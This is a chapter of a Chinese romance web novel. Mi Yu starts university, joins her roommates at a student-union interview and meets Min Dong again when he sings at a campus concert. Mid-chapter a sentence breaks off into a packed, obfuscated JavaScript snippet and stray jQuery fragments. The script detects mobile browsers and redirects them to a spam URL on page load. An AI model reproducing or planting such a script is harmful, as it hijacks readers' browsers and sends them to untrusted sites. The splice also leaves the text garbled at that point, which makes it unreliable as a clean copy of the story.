柚贝 作品

11. 第十一章

临近九月,宓灵芳替宓雨辞掉了便利店的工作,宓雨没有任何怨言,只是忙碌了一整个假期,突然闲下来,倒显得日子有些无聊了。


早晨没有被闹钟叫醒,却被突然到来的宓灵凌叫醒。


宓灵凌是被宓灵芳叫来带她一起去购物的。


宓雨困顿着一双眼,被宓灵芳和宓灵凌两人催促着,不紧不慢地上了车,安安静静地坐在车后座,听姐妹二人坐在前面聊天。


宓灵凌开着车,询问道:“小雨上学,谁去送?”


“我去。”宓灵芳说,“我提前和领班打过招呼了,调休三天。”


宓灵凌笑道:“我还以为你没空,都准备和信之说我俩开车去送了。”


“你们俩太忙了,还有少柯在家。”宓灵芳说,“我自己去送就可以了,不麻烦你们。”


距离开学还有三天,宓雨准备提前一天出发,比起别人,她准备算是比较晚的。


有宓灵凌和宓灵芳两位长辈在,她也不需要操心这些了。


她打开手机,点击朋友圈,手指下滑,视线一顿。


是珉冬的动态,没有文字,只有一张照片。


他站在照片的右侧位置,只留一个侧影,明明是夏日他却穿了一件黑色外套,身后是湛蓝色的海洋和昏沉阴暗的天空。


宓雨的手指又向下轻轻滑动,没有看到定位信息,但不知为何,忽然产生了一种预感。


预感无从考究,她更不会去询问当事人。只是那种想法像是破土而出的幼苗,将土地推动着,慢慢松动。


她想起明邱卓对她说过的话。


说实在的,大概是之前看见过她和珉冬一起去听演唱会,所以见她和珉冬关系趋于平常后,明邱卓对她的态度并不算和善,更像是一种考量。


他最后一次来店里买东西,是宓雨辞职前一天。那时候他已经放假了,很久不见,又突然出现。


他说:“珉冬在外面,你跟我出去吗?”


宓雨看着他:“怎么了?”


明邱卓摇头:“不知道,我让他进来,他不进来。”


宓雨抿了抿唇,长睫轻颤:“我在上班。”


“就一会儿。”明邱卓微蹙着眉看她。


宓雨垂眸:“抱歉。”


“真是搞不懂。”明邱卓快速拿起桌子上的东西,转身离开。


那是宓雨最后一次见他了,也是她最后一次听到珉冬的消息。


“小雨,快来。”


宓雨回神,看向小姨和妈妈。


宓灵芳招手:“你来看看,选哪个?”


宓雨起身,说:“好。”


三个人逛了一整天,满载而归。


开学前一天,宓灵芳和宓雨推着两个行李箱,踏进了高铁站。


凌城距离海城高铁四小时,一路上宓雨都安安静静地看着窗外,宓灵芳就倚在座位上睡觉。


母女二人很少有单独出游的机会,很多时候,两个人话都不多。


出了站,有专门抵达学校的公交专线。两人排队上车,并立而坐,视线各种偏向一边,宓灵芳的表情看起来像是累了,有些困顿。


到了学校,报道结束,宓雨推着行李箱到了宿舍。原本的四人间加上她只有三个人到场。


最先到的女生叫宋清柔,是个有点胖胖的女孩子,她下了床,满脸笑意地看着宓雨,自我介绍道:“我叫宋清柔,南城人。”


宓雨抬头看她:“我叫宓雨,凌城人。”


“哦哦。”宋清柔说,“原来你就是宓雨,你好漂亮啊。”


宓雨笑着说:“谢谢。”


另外一个女生叫言敬,宓雨到来前,她才出去。


过了一会儿,宋清柔被另外一个宿舍的同学叫走,房间里只剩下宓雨和宓灵芳两个人。


宓灵芳小声咕哝:“你舍友看起来人还不错。”


宓雨不理解她说人好话还要压低声音,就好像是她对此情此景畏手畏脚一样。


“你一会儿出去买几个冰激凌,拿回来分给你舍友。”宓灵芳说,“初来乍到,拉拢人心,妈给你钱啊。”


宓雨说:“不需要。”


宓灵芳停下铺床的动作,直起身看她:“怎么了?”


“不用给钱。”宓雨说,“我有。”


“赚到钱了是吧?”宓灵芳揶揄道,“开学需要花钱的地方多着,不够了就问我要,别矜持拿乔,我真受不了你。”


宓雨无奈:“……我去买冰激凌。”


宓灵芳在海城只待了一晚,第二天中午便离开了。


不知为何,明明在一起时也没多少沟通,目送她离开时,宓雨竟然有些不舍得。


她能看得出,这次出行,宓灵芳心情很好。


军训过后,言敬和宋清柔有意向参加学生会,她们在图书馆门口看到招新报告,得知了校学生会的报名时间和地点。


“学生会不会还要看外貌吧?”宋清柔抬手在脖颈处一拉,“体重超过一百二,pass!”


“我觉得不会。”言敬说,“肯定要看心理素质。”


怕宋清柔不相信,她还特地多了一嘴:“对吧,宓雨。”


宓雨认同:“嗯。”


宋清柔说:“听说学生会就是一个小社会,生存法则凶狠。”


言敬又说:“就是去试试,又不是让你真上任。再说了,万一有帅哥呢?对吧,宓雨。”


宓雨点头:“嗯。”


“帅哥?”宋清柔噗嗤一声,“得了吧,我来到这里半个月,就没见到一个帅哥。”


言敬说:“帅哥腼腆,都躲在宿舍不出来,要是真的这么容易遇见,还叫帅哥吗?再说了这半个月除了军训就没干别的,怎么见啊?对吧,宓雨。”


宓雨想了想,说:“可以试试别的社团,男生多一点。”


宋清柔转头看她:“什么社团?”


“比如……”她说,“音乐、轮滑?”


“这都要天分技能。”宋清柔轻哧,“太难。”


宋清柔的性格有点傲娇,言敬则很是豪爽,宓雨最为安静,三个人做事风格大相径庭,却意外相处得不错。


言敬说:“不管你去不去,反正我要去。”


“我陪你。”宓雨说。


宋清柔立刻看向她们:“你们都去,我也去。”


面试当天,三人略微打扮了一番,虽然学生会面试并没有硬性规定,但意外的是


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501456|170361||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


报名的人很多,领表需要排队。


但没一会儿,宋清柔就发现有人弃表而逃。


“不是吧?”她诧异道,“被吓跑了?”


“可能是去看演出吧。”宋清柔身后的女生告诉她,“今晚篮球场有乐队演出。”


宋清柔:“真的假的?”


那女生说:“我刚才听到她们说的。”


排队用了半个多小时,面试却只用了几分钟。


做一件事最难的就是去做,结果如何,似乎对当下的她们来讲,并没有那么重要。


“完事了,我们去篮球场吧。”宋清柔说,“刚才听别人说,那里有乐队演出。”


言敬:“我没意见。你呢,宓雨。”


宓雨说:“我还有事。”


开学伊始,宓雨就准备勤工俭学事宜,她和一个群里认识的学长约在餐厅见面,聊一下打工的事情。


走到餐厅门口,宓雨才看到学长发来的道歉消息,说是突然接到消息,没有办法赴约。


宓雨回他没关系。


正是夜色渐浓之时,半个月的军训才刚结束,一切都是那样新奇有趣。宓雨只站在阶梯处思索了几秒钟,便决定原路返回,去找宋清柔和言敬。


隔着老远,她就看到了篮球场里的人山人海。


灯光如昼,原本的篮球场里挥洒汗水的男生们统一挪到了更里面的位置。正中间搭建起了不高不矮的舞台,有几个人站在上面。


人影憧憧,她抬起手来遮在视线之上,眯了眯眼睛,只能看到舞台之上大概的轮廓,更寻找不到宋清柔和言敬的身影。


她低下头给言敬发消息,手指点触在屏幕之上,忽然间听到一道熟悉的旋律。


她缓缓抬起脸,迎着刺眼的灯光看向众人视线的焦点。


他的手指扫在琴弦之上,低沉磁性的声音透过话筒,触碰她的耳膜。


窗外的天气


就像是你多变的表情


下雨了雨陪我哭泣


看不清我也不想看清


……(1)


他好像瘦了,但仍然喜欢黑色。灯光映衬着他的肌肤,显得更加白了。他的声音淡淡的,却引起一阵骚乱。


宓雨好像在夜色弥漫之中,闻到了他身上浅浅的气息。


口香糖、百岁山、夹在指尖点燃的烟,还有他望向他时,深邃又沉默的瞳孔。


一瞬间里,她的心脏像是被击中。


她的心里泛起密密麻麻的酸楚、内疚,像潮水一样,来势汹汹,瞬间将她全身裹挟。


可她还是站在那里,沉默地听完了一整首歌曲,然后像是逃荒般,转身,准备离开。


“喂。”身后忽然传来一声,夹杂着突然起身后,椅子摩擦木板的刺音,听起来叫人心痛。


宓雨顿住脚步,下意识攥紧了手指。


珉冬的手仍扶在吉他上,琴弦划伤了他的手指,灯光照得他睁不开眼,但他仍然看到了——


在一众人里,看到了那张脸。


他拿下话筒,沉重地喘出粗息,缓慢抬起眼皮,勾起了唇间。


“18级法学新生宓雨。”


“请你回头。”


“看我。”